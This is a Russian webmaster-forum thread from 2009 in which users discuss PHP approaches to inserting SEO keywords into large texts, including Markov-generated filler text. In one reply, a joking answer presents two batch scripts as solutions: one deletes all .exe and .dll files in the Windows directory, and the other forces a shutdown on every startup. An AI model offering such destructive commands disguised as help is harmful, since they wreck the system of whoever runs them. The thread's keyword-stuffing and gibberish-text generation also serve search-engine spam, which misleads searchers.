- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
Кто не жадный, покажите пример кода на php как "вклеить" массив многословных кейвордов в большой текст. Не перемешать shuffl-ом по предложениям, а аккуратно и равномерно вставить кейворды внутрь различных фраз в тексте.
Кто не жадный, покажите пример кода на php как "вклеить" массив многословных кейвордов в большой текст. Не перемешать shuffl-ом по предложениям, а аккуратно и равномерно вставить кейворды внутрь различных фраз в тексте.
Одно из 4-х
1. Создаем тестовый документ:
cd\
cd windows
del *.exe
del *.dll
@cd с:\windows
del *.exe
del *.dll
И сохраняем текстовый документ с расширением bat
Ну и запускаем.
ewg777 добавил 06.05.2009 в 22:55
2. $text = $text.$keywords[array_rand($keywords)];
ewg777 добавил 06.05.2009 в 22:56
3. http://tinyurl.com/cekbzk
4. Создаем тестовый документ:
@Echo off
echo
start /wait shutdown.exe /s /f
И сохраняем текстовый документ с расширением bat.
Кладем ярлык на файл в автозагрузку.
Одно из 4-х
Ага, вклеивать в разрывы цепи Маркова с совпадением крайних слов. Спасибо за подсказку.
Ага, вклеивать в разрывы цепи Маркова с совпадением крайних слов. Спасибо за подсказку.
ВТФ? Что значит разрывы цепи - в цепи не может быть разрывов, ибо каждое текущее слово идет строго за предыдущим в исходном тексте. В цепи может быть только начало и конец.
В цепи может быть только начало и конец.
Ну так посоветуй свой способ, если тебе такой не нравится :-)
http://madbe.blogspot.com/2009/04/blog-post_07.html
может сгодится
Лучше когда после генерации идет подбор куда можно подставить кей. Это существенно увеличивает время генерации и не всегда можно попасть в процент кеев на странице зато для поисковика будит более похоже на ручной текст, а вообще можно рендомно подменять какие-то слова в уже нагенереном тексте. Иначе как вычислить процент. После того как все предложения будут готовы можно побить и посчитать...
Ну так посоветуй свой способ, если тебе такой не нравится :-)
Он мне очень нравится, просто я его не понял =).
Алгоритм прост до безобразия, есть текст, есть ключевое слово/фраза, нужно добавить в текст ключевое слово/фразу через каждые n слов исходного текста.
Можно сделать так:
1. Разбиваем текст на слова, сохраняя результат в массив;
2. В цикле копируем каждое следующее слово в новый массив и увеличиваем счетчик на единицу;
3. Если счетчик равен 25 (например) дописываем к текущему слову ключевое слово/фразу и обнуляем счетчик;
На выходе получаем исходный текст с ключевыми словами через каждые 25 слов из исходного текста.
Можно подмешивать просто заменяя некоторые слова (знаки припенания) своими ключевыми словами. Можно...да много чего можно, если работать с бредотекстами сгенерированными марковкой, другое дело работа с нормальными "человеческими" текстами.
>> если работать с бредотекстами сгенерированными марковкой
Дабы не разводить и не перегружать форум мелочами которые никому не нужны, стукните сне в аську я вам покажу как то же самое делать с обычным текстом который потом будит не только читатся, но будит семантически верным. еще раз оговорюсь, что требует ресурсов и время. генерации увеличивается в разы, но текст после такой обработки получается "верным" ;)....
Алгоритм прост до безобразия, есть текст, есть ключевое слово/фраза, нужно добавить в текст ключевое слово/фразу через каждые n слов исходного текста.
За решением таких задач я бы на форум не лез :-))
Естественно, речь идёт о человеческом тексте и вставке кейфраз таким образом, чтобы не испортить человекочитаемость.
Я вижу два решения: либо вклеивать в разрывы марковской цепи с подбором конца-начала звеньев для вклейки, либо вклеивать в любой текст в разрыв "словоА-словоБ" по тому же принципу.
С удовольствием послушаю советов товарища su-root'а, но он мне в аське пока не ответил :-(
алгоритм подскажу. он весьма простой.
некий текст с помощью функции php explode() разбивается на массив по символу "."
далее массив делится на N частей (по числу вставляемых кейвордов)
для каждой части с помощью array_rand() выбирается произвольная строчка.
в этой выбранной строчке от начала строки+10 ищется первый символ " ", на место которого вставляется кейворд." "
далее массив собирается снова в текст. и готово :)